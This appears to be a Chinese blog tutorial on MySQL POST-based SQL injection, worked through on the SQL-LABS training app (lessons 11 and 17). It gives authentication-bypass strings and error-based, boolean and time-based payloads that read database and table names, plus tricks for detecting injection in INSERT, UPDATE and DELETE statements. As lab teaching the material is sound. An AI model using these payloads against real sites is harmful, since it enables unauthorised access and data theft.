MYSQL POST型注入详解

POST型注入产生的原因

  • 在登录处,用于判断用户名、密码会使用select语句
  • 在修改密码处,更新密码,会使用到update语句
  • 在商城系统中,订单的添加,删除,可能会使用到insertdelete语句

HTTP之POST请求

HTTP报文分为三部分,分别为请求行,请求头,请求体

  • 请求行:由请求方法字段、URL字段和HTTP协议版本字段3个字段组成
  • 请求头:由关键字/值对组成,每行一对,关键字和值用英文冒号“:”分隔。请求头部通知服务器有关于客户端请求的信息,典型请求头有
    • user-agent
    • Accept
    • Host
  • 空行: 用于通知服务器以下不会再有请求头
  • 请求体: 请求数据不在GET方法中使用,而是在POST方法中使用。POST方法适用于需要客户填写表单的场合。与请求数据相关的最常使用的请求头是Content-Type和Content-Length。

POST型注入

登录是执行POST请求,与GET请求不同,传给服务器的值不会再URL中出现了,而是在请求体里,当服务器拿到请求体的数据,再执行SQL语句,查询是否存在用户输入的用户名和密码

关键php代码
@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

当用户填写用户名和密码就会执行此语句,用户名以及密码正确,sql语句就会查询相应数据库,当能查询到,那么成功登陆,否则登陆失败

POST注入原理

传入参数,服务器解析参数之后,完整闭合SQL语句,构造万能密码成功登陆

SQL AND 和OR运算符

AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来

如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录

如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录

通过SQL的or运算符,构造万能密码,判断是否为注入点

uname=admin' or 1=1#&passwd=12312 万能密码,判断是否为注入点

当服务器解析之后产生的SQL语句如下

SELECT username, password FROM users WHERE username='admin' or 1=1 #'and password='$passwd' LIMIT 0,1

其中#后面的都被注释掉了,执行的SQL语句就是

SELECT username, password FROM users WHERE username='admin' or 1=1

判断出注入点之后,就可以利用基于时间的注入,布尔注入,报错注入等,获得我们想要的相关信息

三种特殊注入

  • INSERT
  • UPDATE
  • DELETE

创建HACK表,字段有id,name,age

SQL语句
INSERT INTO HACK VALUES(1,2,3);
UPDATE HACK SET NAME = 'GUEST' WHERE id = 1;
DELETE FROM HACK WHERE id = 2;
检测方法

DELETE 语句的控制点只有id,是int型,一般使用延时注入的方法判断是否存在注入

DELETE FROM HACK WHERE id = 13 and if(1=1,sleep(5),0);

UPDATE 语句与insert类似,可以使用下面的方法一,方法二来判断注入

方法一
  • 检测int型数据会失效,因为int型数据的插入不需要单引号来包裹

    • 在数据提交点,插入单引号,如果数据插入失败,那么80%是注入,20%是拦截
    INSERT INTO 表名(col1,col2,col3) VALUES('a','b','c');
    -- 一般程序中的insert语句中的values都是用单引号包裹起来的,int型不需要,所以插入单引号时会影响语句闭合,因此插入失败
    -- 示例语句
    INSERT INTO hack(id,name,age) VALUES(1,''',11);
    
    • 在数据提交点,插入双引号正常插入,这时候90%确定是注入点
    -- 插入双引号不会影响语句闭合
    INSERT INTO hack(id,name,age) VALUES(2,'"',11);
    
    • 在数据提交点插入\'正常插入,百分之百是注入点
    -- \' 是对'转义,转义后的单引号不会影响语句的闭合,因此插入成功
    INSERT INTO hack(id,name,age) VALUES(4,'\'',12);
    
方法二

通过基于时间的注入,判断响应时间

  • sleep(x)

  • ‘or sleep(x) or’

  • int型没有单引号包裹,可以直接使用sleep(x)来判断,如果延时x秒,那么存在注入

INSERT INTO hack(id,name,age) VALUES(sleep(2),'aaron',11);
  • String型,有单引号包裹,首先闭合单引号,然后用sleep(x)判断
INSERT INTO hack(id,name,age) VALUES(11,''or sleep(2) or'',11);

注入测试

基于SQL-LABS-LAB11,使用万能密码判断存在注入点

在这里插入图片描述

  • 报错注入

在执行SQL语句的时候,or关键字将前后两个条件结合起来查询,只要在or后面构造报错语句,updatexml,extractvalue,floor,则可以使用报错注入

报错注入,前提是需要 echo mysql_error();

updatexml报错注入

uname=admin' or updatexml(1,concat(0x23,database()),1)#&passwd=12312

在这里插入图片描述

extractvalue报错注入

uname=admin' or extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#
&passwd=12312

在这里插入图片描述

FLOOR 报错

uname=admin' or (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x23,floor(rand(0)*2)) as y from information_schema.columns group by y) as x)#
&passwd=12312

在这里插入图片描述

  • 布尔注入
uname=admin' and ascii(substr(database(),§9§,1))#&passwd=12312

在这里插入图片描述

uname=admin' and ascii(substr(database(),§9§,1))=§22§#&passwd=12312

在这里插入图片描述

  • 基于时间注入
uname=admin' and if(ascii(substr(database(),§1§,1)),sleep(2),1)#&passwd=12312

在这里插入图片描述

uname=admin' and if(ascii(substr(database(),§1§,1)) = §1§,sleep(2),1)#&passwd=12312

在这里插入图片描述

Update 注入

SQL-LABS-LESS17

Update SQL语句如下

UPDATE users SET password = 'aaron3' WHERE username='aaron'

当前存在两个注入点,一个在passwd处,一个在username处,首先在username处闭合单引号来实现注入

uname=aaron'#&passwd=123412

发现’被转义了,所以在username处无法注入

在这里插入图片描述

所以在passwd处添加’ 然后闭合单引号来实现注入

在这里插入图片描述

上图可知,passwd处存在注入

update如果where条件为假,那么将不会执行更改,在页面上,看不出来是否执行注入语句,因为只要执行了update,就会出现successfully updated字段,所以布尔注入在此页面不能使用,那么采用时间注入,报错注入来获取字段

  • 报错注入

updatexml

在这里插入图片描述

extractValue

在这里插入图片描述

floor

在这里插入图片描述

  • 基于时间注入

在这里插入图片描述

基于时间注入配合布尔盲注,来完成爆相应的字段

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值